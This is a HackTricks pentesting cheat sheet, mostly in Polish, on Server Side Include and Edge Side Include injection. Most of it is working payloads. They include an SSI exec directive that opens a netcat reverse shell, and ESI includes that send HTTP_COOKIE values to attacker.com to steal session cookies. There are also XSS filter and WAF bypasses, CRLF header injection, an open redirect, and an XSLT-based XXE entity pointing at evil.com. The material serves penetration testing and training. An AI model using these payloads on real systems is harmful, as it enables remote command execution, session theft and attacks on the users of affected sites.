hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
2024-12-12 13:54:31 +01:00

12 KiB

Server Side Inclusion/Edge Side Inclusion Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Server Side Inclusion Basic Information

(Wprowadzenie zaczerpnięte z dokumentacji Apache)

SSI (Server Side Includes) to dyrektywy, które są umieszczane w stronach HTML i oceniane na serwerze podczas serwowania stron. Pozwalają one na dodawanie dynamicznie generowanej treści do istniejącej strony HTML, bez konieczności serwowania całej strony za pomocą programu CGI lub innej technologii dynamicznej.
Na przykład, możesz umieścić dyrektywę w istniejącej stronie HTML, taką jak:

<!--#echo var="DATE_LOCAL" -->

A gdy strona jest serwowana, ten fragment zostanie oceniony i zastąpiony swoją wartością:

Tuesday, 15-Jan-2013 19:28:54 EST

Decyzja o tym, kiedy używać SSI, a kiedy mieć stronę całkowicie generowaną przez jakiś program, zazwyczaj zależy od tego, ile strony jest statyczne, a ile musi być przeliczane za każdym razem, gdy strona jest serwowana. SSI to świetny sposób na dodanie małych fragmentów informacji, takich jak aktualny czas - pokazany powyżej. Ale jeśli większość twojej strony jest generowana w momencie, gdy jest serwowana, musisz poszukać innego rozwiązania.

Możesz wnioskować o obecności SSI, jeśli aplikacja webowa używa plików z rozszerzeniem .shtml, .shtm lub .stm, ale to nie jest jedyny przypadek.

Typowa ekspresja SSI ma następujący format:

<!--#directive param="value" -->

Sprawdź

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Istnieje problem buforowania informacji lub dynamicznych aplikacji, ponieważ część treści może być różna przy następnym pobraniu treści. To jest to, do czego służy ESI, aby wskazać za pomocą tagów ESI dynamiczną treść, która musi być generowana przed wysłaniem wersji z pamięci podręcznej.
Jeśli atakujący jest w stanie wstrzyknąć tag ESI do zawartości pamięci podręcznej, to mógłby być w stanie wstrzyknąć dowolną treść do dokumentu przed jego wysłaniem do użytkowników.

ESI Detection

Następujący nagłówek w odpowiedzi z serwera oznacza, że serwer używa ESI:

Surrogate-Control: content="ESI/1.0"

Jeśli nie możesz znaleźć tego nagłówka, serwer może używać ESI mimo wszystko.
Można również zastosować podejście ślepej eksploitacji, ponieważ żądanie powinno dotrzeć do serwera atakującego:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI exploitation

GoSecure stworzył tabelę, aby zrozumieć możliwe ataki, które możemy spróbować przeciwko różnemu oprogramowaniu obsługującemu ESI, w zależności od wspieranej funkcjonalności:

  • Includes: Obsługuje dyrektywę <esi:includes>
  • Vars: Obsługuje dyrektywę <esi:vars>. Przydatne do omijania filtrów XSS
  • Cookie: Ciasteczka dokumentu są dostępne dla silnika ESI
  • Upstream Headers Required: Aplikacje zastępcze nie przetworzą instrukcji ESI, chyba że aplikacja upstream dostarczy nagłówki
  • Host Allowlist: W tym przypadku, włączenia ESI są możliwe tylko z dozwolonych hostów serwera, co sprawia, że SSRF, na przykład, jest możliwe tylko przeciwko tym hostom
Software Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 Tak Tak Tak Tak Nie
Varnish Cache Tak Nie Nie Tak Tak
Fastly Tak Nie Nie Nie Tak
Akamai ESI Test Server (ETS) Tak Tak Tak Nie Nie
NodeJS esi Tak Tak Tak Nie Nie
NodeJS nodesi Tak Nie Nie Nie Opcjonalnie

XSS

Następująca dyrektywa ESI załaduje dowolny plik wewnątrz odpowiedzi serwera

<esi:include src=http://attacker.com/xss.html>

Ominięcie ochrony XSS po stronie klienta

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Kradzież ciasteczka

  • Zdalna kradzież ciasteczka
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • Kradnij cookie HTTP_ONLY za pomocą XSS, odzwierciedlając je w odpowiedzi:

{% code overflow="wrap" %}

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

{% endcode %}

Prywatny lokalny plik

Nie myl tego z "Lokalnym włączeniem pliku":

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

Poniższe doda nagłówek Location do odpowiedzi

<!--esi $add_header('Location','http://attacker.com') -->

Dodaj nagłówek

  • Dodaj nagłówek w wymuszonej prośbie
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Dodaj nagłówek w odpowiedzi (przydatne do obejścia "Content-Type: text/json" w odpowiedzi z XSS)

{% code overflow="wrap" %}

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

{% endcode %}

CRLF w nagłówku Add (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

To wyśle informacje debugowe zawarte w odpowiedzi:

<esi:debug/>

ESI + XSLT = XXE

Możliwe jest użycie składni eXtensible Stylesheet Language Transformations (XSLT) w ESI, po prostu wskazując wartość parametru dca jako xslt. Co może pozwolić na nadużycie XSLT do stworzenia i wykorzystania podatności na zewnętrzne encje XML (XXE):

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

Plik XSLT:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Check the XSLT page:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

References

Lista wykrywania ataków Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}